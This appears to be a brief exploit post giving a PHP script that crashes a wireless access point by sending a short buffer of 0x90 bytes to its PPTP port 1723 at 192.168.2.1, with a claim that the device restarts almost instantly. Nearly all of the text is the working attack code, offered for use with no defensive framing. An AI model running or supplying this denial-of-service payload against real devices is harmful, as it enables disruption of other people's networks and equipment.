Attacking port 1723(flood), it restarts the device almost instantly, here's the code in PHP.

It takes a few bytes for the AP to automatically restart

<?php

$apaddr = "192.168.2.1";

$apport="1723";

$con = fsockopen($apaddr, $apport, $errno, $errstr);

if (!$con) {

echo "$errstr ($errno)<br />\n";

} else {

$trash = str_repeat("\x90","261");

fwrite($con, $trash);

while (!feof($con)) {

echo "$trash \r\n";

}

fclose($con);

}

?>
